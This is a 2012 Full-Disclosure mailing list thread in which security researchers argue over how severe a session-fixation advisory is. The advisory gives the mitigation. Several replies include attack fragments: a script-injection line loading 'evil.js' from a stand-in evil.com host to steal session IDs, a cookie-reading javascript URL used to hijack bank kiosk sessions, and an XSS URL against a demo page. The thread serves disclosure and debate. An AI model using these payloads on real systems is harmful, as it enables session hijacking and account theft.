Message-ID: <CAM2Hf5kyhKK5EhSx+gKX404hci8b=+Q5_U6gU8oOUuzHS+=Qqw@mail.gmail.com>
Date: Fri, 13 Jul 2012 04:57:08 -0700
From: Gage Bystrom <themadichib0d@...il.com>
To: Gokhan Muharremoglu <gokhan.muharremoglu@...ec.org>,
	full-disclosure@...ts.grok.org.uk
Subject: Re: Predefined Post Authentication Session ID
	Vulnerability

Exactly, a niche scenario. I never said it /wasn't/ a vulnerability,
only that it doesn't warrant the severity you claim.

Also again, a situation where there are better things for an attack to do.

Yes you could do that to grab the session id, or whats stopping you
from writing "javascript;document.write('<script
type="text/javascript" src="www.evil.com/evil.js"></script>)?
Presumably evil.js doing all sorts of nasty such as grabbing the
session id and storing it remotely. Yes I'm aware you claimed policies
are in place, but I'm curious if that approach was tried.

Or better yet, why not just load an iframe of the site's app itself?
Theres all sorts of known nasties you can do with iframes, why not
intercept all the the requests to the iframe(wiping out the main page
with more js so things are transparent) and then store the stolen
values of logins to a cookie? Screw the session id, you can get full
logins that way. All you would need to do is swing by and do your
"javascript;alert(document.cookie);" to fetch the results.

Also I'm no expert in javascript or heck even in web applications.
That was just my first idea from a very basic knowledge, therefore we
can assume that any remotely dedicated attacker can probably come up
with an even cleaner solution, but the point still stands:

If you are worried about this vulnerability, you have bigger issues,
ergo why are you even worried?

To me it'd be a lot like worrying if you are salting your passwords
stored in a database properly when you are only xoring them. Yeah sure
good salts are important to consider in isolation, but in that case
you have bigger fish to fry. In this situation the bigger fish to fry
is 'the attacker can run arbitrary js on the victim's side'.

As to the xss, that just illustrates my smaller point that your PoC is
extremely vague. I only figured it out while I was typing my original
email, and that was going off my own testing and ignoring your
instructions which were only misleading me. Judging by some of the
other responses here, I'd be hesitant to say I was the only one. Might
wanna think about whats the common denominator here.

On Fri, Jul 13, 2012 at 4:23 AM, Gokhan Muharremoglu
<gokhan.muharremoglu@...ec.org> wrote:
> Ok. It seems i have to explain this vulnerability's effects with another
> scenario.
>
> This is a real life scenario and i wrote it in a Turkish article for
> National Information Security Portal which is run by TUBITAK.
>
> Article in Turkish with scenario =>
> http://www.iosec.org/oturum_oncesi_tanimli_cerez.pdf
>
> I  will explain it in English now.
>
> There are KIOSK/Terminal machines at bank branches in Turkey. Customers can
> reach to the regular Internet banking applicaton from here.
> But these machines are restricted with policies and you can not view any
> other web site or close browser page. But you can type in to the address
> bar.
> All you can do is to enter bank's internet web application.
>
> Here is the scenario (taken from real life):
>
> 1. Type "javascript:alert(document.cookie)" to the address bar and copy all
> information including Session ID.
> 2. Wait for a victim who logs in to the KIOSK.
> 3. After he/she logins, use your copied Session ID to login as him/her.
>
> In this scenario;
> There was no same-origin restrction,
> There was no httpOnly cookie tag.
>
> Always remember "A chain is only as strong as its weakest link". This is a
> vulnerability, it's attacker's and conditions' decision how to use it.
>
> You can use wider vision to consider about real life scenarios.
>
> Gokhan Muharremoglu
>
> -----Original Message-----
> From: Gage Bystrom [mailto:themadichib0d@...il.com]
> Sent: Friday, July 13, 2012 1:40 PM
> To: Gokhan Muharremoglu; full-disclosure@...ts.grok.org.uk
> Subject: Re: [Full-disclosure] Predefined Post Authentication Session ID
> Vulnerability
>
> Ok after playing around and re-reading the advisory I was finally able to
> get the PoC to work. While it is interesting once your actually see it work
> I simply do not believe it warrants the severity you have described. The man
> reason why I say this is because any attacker in a position to modify a
> victim's session id is simply in a position to do better things. Why go
> through the niche roundabout way when you can just simply jack the
> authenticated session ID?
>
> The only conceivable scenario I can think of would be in the case of a
> stored XSS that isn't present after authentication, in which case stealing
> the session ID before hand would be a much better avenue and more in line
> with what you are trying to warn about(maybe you should make the PoC reflect
> that to better illustrate your point). Even then we are talking about a
> really niche attack.
>
> Basically this sounds like a classic example of: "Yes, technically this is
> abusable, but if you are worried about this, you have bigger problems to
> deal with."
>
> Speaking of xss your vuln page has one:
>
> http://www.iosec.org/iosec_login_vulnerable.php?user=%3Cscript%3Ealert%28%22
> Told%20ya%20so%22%29%3C/script%3E&failed=1
>
> not to mention an arbitrary(even non-existent users) account change:
>
> http://www.iosec.org/iosec_login_vulnerable.php?user=admin
> ((after logging in, not that the result page is much))
>
> Yeah, yeah I know it's meant to be vulnerable to begin with, but you should
> really make sure a PoC vulnerable page is only vulnerable to what you are
> trying to demonstrate, otherwise it can be hard to identify if this is a
> serious issue or just an example of your personal screw ups, generally
> speaking at least.
>
> On Fri, Jul 13, 2012 at 1:46 AM, Gokhan Muharremoglu
> <gokhan.muharremoglu@...ec.org> wrote:
>> You can find an example page and combined vulnerabilities below URL.
>> This example login page is affected by Predefined Post Authentication
>> Session ID Vulnerability.
>> This vulnerability can lead a social engineering scenario or other
>> hijacking attack scenarios when mixed with other vulnerabilities (such
> XSS).
>>
>> For proof of concept:
>>
>> http://www.iosec.org/iosec_login_vulnerable.php
>>
>>
>> Predefined Post Authentication Session ID Vulnerability is a
>> Vendor-neutral vulnerability and it let attackers to design new attack
> scenarios.
>> A lot of web application on the Internet affected by this vulnerability.
>>
>> -----------------------
>> Vulnerability Name: Predefined Post Authentication Session ID
>> Vulnerability
>> Type: Improper Session Handling
>> Impact: Session Hijacking
>> Level: Medium
>> Date: 10.07.2012
>> Vendor: Vendor-neutral
>> Issuer: Gokhan Muharremoglu
>> E-mail: gokhan.muharremoglu@...ec.org
>>
>>
>> VULNERABILITY
>> If a web application starts a session and defines a session id before
>> a user authenticated, this session id must be changed after a
>> successful authentication. If web application uses the same session id
>> before and after authentication, any legitimate user who has gained
>> the "before authentication" session id can hijack future "after
>> authentication" sessions too.
>>
>> MITIGATION
>> To avoid this vulnerability, sessions must be regenerated after a
>> successful login. In a session fixation attack, attacker fixates
>> (sets) another person's (victim's) session identifier because of
>> "never regenerated and validated" session id and this vulnerability
>> can also lead to the Session Fixation attack or etc.
>>
>> Gokhan Muharremoglu
>> Information Security Specialist
>> (CEH, ECSA, CIW-Web Security Professional, Security+, EXIN 27002 ISFS)
>>
>> -----Original Message-----
>> From: Jann Horn [mailto:jannhorn@...glemail.com]
>> Sent: Friday, July 13, 2012 2:06 AM
>> To: Gokhan Muharremoglu
>> Cc: full-disclosure@...ts.grok.org.uk
>> Subject: Re: [Full-disclosure] Predefined Post Authentication Session
>> ID Vulnerability
>>
>> On Wed, Jul 11, 2012 at 11:34:11AM +0300, Gokhan Muharremoglu wrote:
>>> Vulnerability Name: Predefined Post Authentication Session ID
>>> Vulnerability
>>> Type: Improper Session Handling
>>> Impact: Session Hijacking
>>> Level: Medium
>>> Date: 10.07.2012
>>> Vendor: Vendor-neutral
>>> Issuer: Gokhan Muharremoglu
>>> E-mail: gokhan.muharremoglu@...ec.org
>>>
>>>
>>> VULNERABILITY
>>> If a web application starts a session and defines a session id before
>>> a user authenticated, this session id must be changed after a
>>> successful authentication. If web application uses the same session
>>> id before and after authentication, any legitimate user who has
>>> gained the "before authentication" session id can hijack future
>>> "after authentication" sessions too.
>>
>> Uh, so, erm, you assume that someone can steal my cookie/set
>> it/whatever although the Same Origin Policy should clearly not allow
>> that, and then, after I have logged in, he can't just steal my cookie?
>> Unless you allow setting the session-ID via an URL or so (which would
>> IMO be pretty stupid), I can't see how this is a realistic,
>> vendor-neutral attack. Could you explain this a bit better? I don't get
> it.
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists